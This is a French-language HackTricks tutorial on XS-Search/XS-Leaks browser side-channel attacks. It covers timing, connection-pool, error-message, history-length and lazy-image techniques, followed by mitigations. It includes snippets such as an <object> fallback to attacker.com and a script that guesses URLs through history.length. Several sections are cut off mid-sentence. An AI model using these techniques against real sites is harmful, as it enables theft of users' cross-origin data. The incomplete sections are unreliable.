hacktricks/pentesting-web/xs-search.md
2023-06-03 13:10:46 +00:00

36 KiB

XS-Search/XS-Leaks


Utilisez Trickest pour créer et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde.
Accédez-y dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Informations de base

XS-Search est une technique orientée vers l'exfiltration d'informations entre domaines en exploitant des attaques de canal latéral.

Il existe différents éléments dans ce type d'attaque :

  • Web vulnérable : c'est le site web à partir duquel nous voulons exfiltrer des informations
  • Web de l'attaquant : c'est le site web que l'attaquant crée contenant l'exploit et que la victime accède
  • Méthode d'inclusion : c'est la méthode utilisée pour charger le Web vulnérable à partir du Web de l'attaquant (comme window.open, iframe, fetch, balise HTML avec href...)
  • Technique de fuite : après avoir accédé au site vulnérable, une technique sera utilisée pour différencier les états potentiels du site avec les informations obtenues à partir de la méthode d'inclusion utilisée.
  • États : les 2 états possibles que le site vulnérable peut avoir en fonction de la victime que nous voulons différencier.
  • Différences détectables : il s'agit des informations que l'attaquant doit essayer de décider de l'état du site vulnérable.

Différences détectables

Afin de distinguer entre les 2 états de la page vulnérable, plusieurs éléments peuvent être examinés :

  • Code d'état. Un attaquant peut distinguer les différents codes d'état de réponse HTTP entre domaines (par exemple, les erreurs serveur, les erreurs client ou les erreurs d'authentification).
  • Utilisation de l'API. Cette différence détectable permet à un attaquant de détecter l'utilisation des API Web sur les pages, ce qui permet à un attaquant de déduire si une page entre domaines utilise une API Web JavaScript spécifique.
  • Redirections. Il est possible de détecter si une application Web a navigué l'utilisateur vers une page différente. Cela ne se limite pas aux redirections HTTP, mais inclut également les redirections déclenchées par JavaScript ou HTML.
  • Contenu de la page. Ces différences détectables apparaissent dans le corps de la réponse HTTP ou dans les sous-ressources incluses par la page. Par exemple, cela pourrait être le **nombre de frames incluses
<object data="//example.com/404">
  <object data="//attacker.com/?error"></object>
</object>

Dans ce cas, si example.com/404 n'est pas trouvé, attacker.com/?error sera chargé.

Timing de l'événement onload

{% content-ref url="xs-search/performance.now-example.md" %} performance.now-example.md {% endcontent-ref %}

Timing onload + tâche lourde forcée

Cette technique est similaire à la précédente, mais l'attaquant va également forcer une action à prendre un temps pertinent lorsque la réponse est positive ou négative et mesurer ce temps.

{% content-ref url="xs-search/performance.now-+-force-heavy-task.md" %} performance.now-+-force-heavy-task.md {% endcontent-ref %}

Timing unload/beforeunload

Les événements unload et beforeunload peuvent être utilisés pour mesurer le temps nécessaire pour récupérer une ressource. Cela fonctionne parce que beforeunload est déclenché lorsque le navigateur demande une nouvelle navigation,

Boucle d'événements occupée

  • Méthodes d'inclusion :
  • Différence détectable : Timing (généralement dû au contenu de la page, au code d'état)
  • Plus d'informations : https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop
  • Résumé : Mesurer le temps d'exécution d'un site web en bloquant la boucle d'événements d'un thread et chronométrer le temps qu'il faut pour que la boucle d'événements redevienne disponible.
  • Exemple de code :

L'un des principaux avantages de cette technique est sa capacité à contourner l'isolation de site, car l'origine de l'attaquant peut influencer l'exécution d'une autre origine.

{% hint style="warning" %} Dans une mesure de temps d'exécution, il est possible d'éliminer les facteurs de réseau pour obtenir des mesures plus précises. Par exemple, en chargeant les ressources utilisées par la page avant de la charger. {% endhint %}

Pool de connexions

  • Méthodes d'inclusion : Requêtes JavaScript
  • Différence détectable : Timing (généralement dû au contenu de la page, au code d'état)
  • Plus d'informations : https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/
  • Résumé : Un attaquant pourrait bloquer tous les sockets sauf un, charger la page cible et en même temps charger une autre page, le temps jusqu'à ce que la dernière page commence à se charger est le temps que la page cible a pris pour se charger.
  • Exemple de code :

{% content-ref url="xs-search/connection-pool-example.md" %} connection-pool-example.md {% endcontent-ref %}

Les navigateurs utilisent des sockets pour communiquer avec les serveurs. Comme le système d'exploitation et le matériel sur lequel il s'exécute ont des ressources limitées, les navigateurs doivent imposer une limite. Pour exploiter l'existence de cette limite, les attaquants peuvent :

  1. Vérifier quelle est la limite du navigateur, par exemple 256 sockets globaux.
  2. Bloquer 255 sockets pendant une longue période en effectuant 255 requêtes vers des hôtes différents qui suspendent simplement la connexion.
  3. Utiliser le 256ème socket en effectuant une requête vers la page cible.
  4. Effectuer une 257ème requête vers un autre hôte. Étant donné que tous les sockets sont utilisés (aux étapes 2 et 3), cette requête doit attendre que le pool reçoive un socket disponible. Cette période d'attente fournit à l'attaquant le timing réseau du 256ème socket, qui appartient à la page cible. Cela fonctionne parce que les 255 sockets de l'étape 2 sont toujours bloqués, donc si le pool a reçu un socket disponible, c'est à cause de la libération du socket de l'étape 3. Le temps de libération du 256ème socket est directement lié au temps nécessaire pour terminer la requête.

Pour plus d'informations : https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/

Pool de connexions par destination

  • **Mé

Service Worker

Les service workers sont des contextes de script pilotés par des événements qui s'exécutent sur une origine. Ils s'exécutent en arrière-plan d'une page Web et peuvent intercepter, modifier et mettre en cache des ressources pour créer une application Web hors ligne.
Si une ressource mise en cache par un service worker est accédée via un iframe, la ressource sera chargée à partir du cache du service worker.
Pour détecter si la ressource a été chargée à partir du cache du service worker, l'API de performance peut être utilisée.
Cela pourrait également être fait avec une attaque de synchronisation (consultez le document pour plus d'informations).

Cache

En utilisant l'API de performance, il est possible de vérifier si une ressource est mise en cache.
Pour plus d'informations: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources

Durée du réseau

Technique des messages d'erreur

Erreur de média

// Code saved here in case it dissapear from the link
// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/
window.addEventListener("load", startup, false);
function displayErrorMessage(msg) {
  document.getElementById("log").innerHTML += msg;
}

function startup() {
  let audioElement = document.getElementById("audio");
 // "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";
  document.getElementById("startTest").addEventListener("click", function() {
    audioElement.src = document.getElementById("testUrl").value;
  }, false);
  // Create the event handler
  var errHandler = function() {
    let err = this.error;    
    let message = err.message;
    let status = "";
    
    // Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"
    // Firefox error.message when the request loads successfully: "Failed to init decoder"
    if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){
      status = "Success";
    }else{
      status = "Error";
    }
    displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");
  };
  audioElement.onerror = errHandler;
}

La propriété message de l'interface MediaError contient une chaîne différente pour les ressources qui se chargent avec succès. Cela permet à un attaquant d'inférer le statut de réponse pour une ressource cross-origin.

Erreur CORS

Cette technique permet à un attaquant de divulguer la cible d'une redirection initiée par un site cross-origin.

CORS permet aux ressources web accessibles publiquement d'être lues et utilisées à partir de n'importe quel site web. Dans les navigateurs basés sur Webkit, il est possible d'accéder aux messages d'erreur CORS lorsque la requête CORS échoue. Un attaquant peut envoyer une requête activée par CORS à un site cible qui redirige en fonction de l'état de l'utilisateur. Lorsque le navigateur refuse la requête, l'URL complète de la cible de la redirection est divulguée dans le message d'erreur. Avec cette attaque, il est possible de détecter les redirections, de divulguer les emplacements de redirection et les paramètres de requête sensibles.

Erreur SRI

Un attaquant peut divulguer la taille des réponses cross-origin en raison de messages d'erreur verbeux.

L'attribut d'intégrité définit un hachage cryptographique par lequel le navigateur peut vérifier qu'une ressource récupérée n'a pas été manipulée. Ce mécanisme de sécurité s'appelle Subresource Integrity (SRI). Il est utilisé pour la vérification d'intégrité des ressources servies à partir de réseaux de diffusion de contenu (CDN). Pour éviter les fuites de données, les ressources cross-origin doivent être activées par CORS. Sinon, la réponse n'est pas éligible à la validation d'intégrité. Tout comme la fuite XS-Leak d'erreur CORS, il est possible de capturer le message d'erreur après une demande fetch avec un attribut d'intégrité qui échoue. Un attaquant peut déclencher forcément cette erreur sur n'importe quelle demande en spécifiant une valeur de hachage bidon. Dans SA, ce message d'erreur divulgue la longueur du contenu de la ressource demandée. Un attaquant peut utiliser cette fuite pour détecter les différences de taille de réponse, ce qui permet des attaques XS-Leak puissantes.

Violation/Détection de CSP

  • Méthodes d'inclusion: Pop-ups
  • Différence détectable:

Longueur maximale de l'URL - Côté client

Selon la documentation de Chromium, la longueur maximale de l'URL de Chrome est de 2 Mo.

En général, la plateforme web n'a pas de limites sur la longueur des URL (bien que 2^31 soit une limite courante). Chrome limite les URL à une longueur maximale de 2 Mo pour des raisons pratiques et pour éviter de causer des problèmes de déni de service dans la communication inter-processus.

Par conséquent, si l'URL de redirection répond est plus grande dans l'un des cas, il est possible de la faire rediriger avec une URL plus grande que 2 Mo pour atteindre la limite de longueur. Lorsque cela se produit, Chrome affiche une page about:blank#blocked.

La différence remarquable est que si la redirection a été terminée, window.origin lance une erreur car une origine croisée ne peut pas accéder à cette information. Cependant, si la limite a été atteinte et que la page chargée était about:blank#blocked, l'origine de la fenêtre reste celle du parent, qui est une information accessible.

Toutes les informations supplémentaires nécessaires pour atteindre les 2 Mo peuvent être ajoutées via un hash dans l'URL initiale afin qu'il soit utilisé dans la redirection.

{% content-ref url="xs-search/url-max-length-client-side.md" %} url-max-length-client-side.md {% endcontent-ref %}

Nombre maximal de redirections

Si le nombre maximal de redirections à suivre d'un navigateur est de 20, un attaquant pourrait essayer de charger sa page avec 19 redirections et finalement envoyer la victime vers la page testée. Si une erreur est déclenchée, alors la page essayait de rediriger la victime.

Longueur de l'historique

L'API History permet au code JavaScript de manipuler l'historique du navigateur, qui enregistre les pages visitées par un utilisateur. Un attaquant peut utiliser la propriété de longueur comme méthode d'inclusion : pour détecter la navigation JavaScript et HTML.
En vérifiant history.length, en faisant naviguer un utilisateur vers une page, en la changeant de nouveau vers la même origine et en vérifiant la nouvelle valeur de history.length.

Longueur de l'historique avec la même URL

  • Méthodes d'inclusion: Frames, Pop-ups
  • Différence détectable: Si l'URL est identique à celle devinée
  • Résumé: Il est possible de deviner si l'emplacement d'une frame/pop-up est dans une URL spécifique en abusant de la longueur de l'historique.
  • Exemple de code: ci-dessous

Un attaquant pourrait utiliser du code JavaScript pour manipuler l'emplacement de la frame/pop-up vers une URL devinée et la changer immédiatement en about:blank. Si la longueur de l'historique a augmenté, cela signifie que l'URL était correcte et qu'elle avait le temps d'augmenter car l'URL n'est pas rechargée si elle est identique. Si elle n'a pas augmenté, cela signifie qu'elle a essayé de charger l'URL devinée mais parce que nous avons immédiatement chargé about:blank après, la longueur de l'historique n'a jamais augmenté lors du chargement de l'URL devinée.

async function debug(win, url) {
    win.location = url + '#aaa';
    win.location = 'about:blank';
    await new Promise(r => setTimeout(r, 500));
    return win.history.length;
}

win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=c"));

win.close();
win = window.open("https://example.com/?a=b");
await new Promise(r => setTimeout(r, 2000));
console.log(await debug(win, "https://example.com/?a=b"));

Comptage de cadres

Le comptage du nombre de cadres dans une page web ouverte via iframe ou window.open peut aider à identifier le statut de l'utilisateur sur cette page.
De plus, si la page a toujours le même nombre de cadres, la vérification continue du nombre de cadres peut aider à identifier un modèle qui pourrait divulguer des informations.

Un exemple de cette technique est que dans Chrome, un PDF peut être détecté avec le **comptage de cadres

Temps de récupération

Temps entre fenêtres


Utilisez Trickest pour créer et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde.
Obtenez l'accès aujourd'hui:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Avec HTML ou Réinjection

Ici, vous pouvez trouver des techniques pour exfiltrer des informations à partir d'un HTML de source croisée en injectant du contenu HTML. Ces techniques sont intéressantes dans les cas où, pour une raison quelconque, vous pouvez injecter du HTML mais vous ne pouvez pas injecter de code JS.

Balisage en suspens

{% content-ref url="dangling-markup-html-scriptless-injection.md" %} dangling-markup-html-scriptless-injection.md {% endcontent-ref %}

Chargement paresseux d'images

Si vous devez exfiltrer du contenu et que vous pouvez ajouter du HTML avant le secret, vous devriez vérifier les techniques de balisage en suspens courantes.
Cependant, si pour une raison quelconque vous DEVEZ le faire caractère par caractère (peut-être que la communication se fait via un cache hit), vous pouvez utiliser cette astuce.

Les images dans HTML ont un attribut "loading" dont la valeur peut être "lazy". Dans ce cas, l'image sera chargée lorsqu'elle sera affichée et non pendant le chargement de la page:

<img src=/something loading=lazy >

Par conséquent, ce que vous pouvez faire est d'ajouter beaucoup de caractères inutiles (par exemple, des milliers de "W") pour remplir la page web avant le secret. Nous faisons cela pour que l'image ne soit pas chargée au début.

Cependant, vous pouvez faire accéder le bot à la page avec quelque chose comme

#:~:text=SECR

Donc la page web ressemblera à quelque chose comme: https://victim.com/post.html#:~:text=SECR

Où post.html contient les caractères indésirables de l'attaquant et l'image de chargement paresseux, puis le secret du bot est ajouté.

Ce que ce texte fera, c'est de faire accéder le bot à n'importe quel texte de la page qui contient le texte SECR. Comme ce texte est le secret et qu'il est juste en dessous de l'image, l'image ne se chargera que si le secret deviné est correct. Vous avez donc votre oracle pour exfiltrer le caractère secret par caractère.

Un exemple de code pour exploiter cela: https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e

Trouvez un autre exemple d'utilisation du chargement paresseux ici:

{% content-ref url="xs-search/event-loop-blocking-+-lazy-images.md" %} event-loop-blocking-+-lazy-images.md {% endcontent-ref %}

ReDoS

{% content-ref url="regular-expression-denial-of-service-redos.md" %} regular-expression-denial-of-service-redos.md {% endcontent-ref %}

CSS ReDoS

Si jQuery(location.hash) est utilisé, il est possible de savoir via le temps si un contenu HTML existe, cela est dû au fait que si le sélecteur main[id='site-main'] ne correspond pas, il n'a pas besoin de vérifier le reste des sélecteurs:

$("*:has(*:has(*:has(*)) *:has(*:has(*:has(*))) *:has(*:has(*:has(*)))) main[id='site-main']")

Injection de CSS

{% content-ref url="xs-search/css-injection/" %} injection-de-css {% endcontent-ref %}

Défenses

Dans cette section, vous pouvez trouver une partie des mesures d'atténuation recommandées dans https://xsinator.com/paper.pdf. Cependant, il y a plus de mesures d'atténuation dans chaque section du wiki https://xsleaks.dev/. Consultez-le pour plus d'informations sur la façon de se protéger contre ces techniques.

Mesures d'atténuation de la méthode d'inclusion

  • Éléments HTML. Il peut utiliser l'en-tête CORP pour contrôler si les pages peuvent intégrer une ressource. CORP peut être défini sur même origine ou même site et bloque respectivement les demandes de ressources croisées ou de site croisé à cette ressource. Du côté client, les navigateurs basés sur Chromium utilisent l'algorithme CORB pour décider si les demandes de ressources croisées doivent être autorisées ou refusées.
  • Cadres. La principale défense pour empêcher les éléments iframe de charger des ressources HTML est l'utilisation de X-Frame-Options. Alternativement, la directive CSP frame-ancestors peut atteindre un résultat similaire. Si l'intégration est refusée, la méthode d'inclusion ne peut pas détecter de différence dans les réponses.
  • Pop-ups. Pour restreindre l'accès à window.opener, l'en-tête de réponse HTTP COOP définit trois valeurs différentes : unsafe-none (par défaut), same-origin-allow-popups et same-origin. Ces valeurs peuvent être utilisées pour isoler les onglets de navigation et les pop-ups et ainsi atténuer les techniques de fuite basées sur les pop-ups.
  • Demandes JavaScript. Les demandes JavaScript de source croisée sont souvent utilisées dans les attaques XS-Leak, car un attaquant a un contrôle précis sur la demande émise. Cependant, comme ces demandes ne sont pas activées par CORS, elles sont soumises aux mêmes restrictions que les demandes envoyées par des éléments HTML, tels que des scripts ou des images. Ainsi, l'impact de cette technique de fuite peut également être atténué par CORP et CORB.

Méthodes plus génériques :

  • Métadonnées Fetch. Ces en-têtes de demande permettent aux propriétaires de serveurs de mieux comprendre comment le navigateur de l'utilisateur a provoqué une demande spécifique. Dans Chrome, les en-têtes Sec-Fetch-* sont automatiquement ajoutés à chaque demande et fournissent des métadonnées sur la provenance de la demande. Par exemple, Sec-Fetch-Dest: image a été déclenché à partir d'un élément image. Les applications Web peuvent ensuite choisir de bloquer les demandes en fonction de ces informations.
  • Cookies Same-Site. Le drapeau Same-Site permet aux sites Web de déclarer si un cookie doit être restreint au contexte same-site ou first-party. Tous les principaux navigateurs prennent en charge les cookies Same-Site. Dans GC, les cookies sans l'attribut sont désormais Lax par défaut. Pour les XS-Leaks, les cookies Same-Site limitent considérablement les possibilités d'attaque de fuite. En revanche, les techniques de fuite qui reposent sur window.open fonctionnent toujours avec SameSite=Lax. Les sites Web qui utilisent d'autres méthodes d'authentification, telles que les certificats côté client et l'authentification HTTP, restent vulnérables.
  • Désolidarisation des identificateurs de source croisée (COIU). COIU, également connu sous le nom d'isolation de première partie (FPI), est une fonctionnalité de sécurité facultative que les utilisateurs peuvent activer dans les paramètres experts de FF (about:config) et qui a été initialement introduite dans Tor Browser. Dans une vue abstraite, c'est un contexte same-site étendu. Il lie plusieurs ressources (par exemple, les cookies, le cache, les stockages côté client) à la première partie au lieu de les partager entre tous les sites visités. S'il est activé, COIU diminue considérablement l'applicabilité des XS-Leaks, car seules les méthodes utilisant des pop-ups sont encore possibles pour répondre à l'exigence de première partie de la politique.
  • Protections de suivi. Apple a mis en place un mécanisme de confidentialité appelé Intelligent Tracking Prevention (ITP) dans SA qui vise à lutter contre le suivi inter-sites en limitant les capacités des cookies et d'autres API Web. Dans les versions plus récentes de SA, ITP bloque tous les cookies tiers par défaut sans exception [74]. Ce blocage empêche toutes les fuites qui ne sont pas basées sur des pop-ups. FF a adopté une approche similaire avec Enhanced Tracking Prevention (ETP), mais ils ne bloquent que des cookies tiers spécifiques appartenant à des fournisseurs de suivi. Dans le contexte des XS-Leaks, ETP ne atténue que les techniques de fuite qui ciblent ces domaines de suivi.
  • Extensions de navigateur. Les utilisateurs conscients de la sécurité peuvent utiliser des extensions de navigateur pour empêcher certaines méthodes d'inclusion.

Mesures d'atténuation des techniques de fuite

  • Gestionnaire d'événements. La mesure d'atténuation la plus efficace pour cette technique de fuite serait de les refuser toutes, mais cela casserait la majorité des applications Web sur Internet. Nous proposons donc de réduire le nombre d'informations nécessaires qui peuvent être recueillies dans les événements. Par exemple, l'événement de violation de CSP ne doit pas contenir l'URL de destination de redirection dans le champ blockedURI. Ce comportement est implémenté dans FF et dans les versions plus récentes de GC - SA reste vulnérable.
  • Messages d'erreur. Pour atténuer les XS-Leaks basés sur la technique de fuite des messages d'erreur, il y a deux exigences majeures. Premièrement, les messages d'erreur ne doivent pas contenir d'informations détaillées, de manière similaire aux messages de gestionnaire d'événements. Deuxièmement, les navigateurs doivent minimiser les occurrences de messages d'erreur. Les XS-Leaks tels que SRI Error, ContentDocument XFO ou Fetch Redirect détectent si un message d'erreur est lancé ou non.
  • Limites globales. La correction des techniques de fuite qui abusent des limites globales est relativement complexe car elles reposent sur des restrictions physiques. La recommandation générale est donc de restreindre les limites globales sur une petite base par site. Si la limite globale est de 1, comme pour l'API de paiement, l'attaquant peut tenter silencieusement d'activer l'interface utilisateur de paiement Web à tout moment, ce qui ne réussit que si l'interface utilisateur n'est pas utilisée simultanément par un autre onglet. Nous recommandons d'accéder à l'API de paiement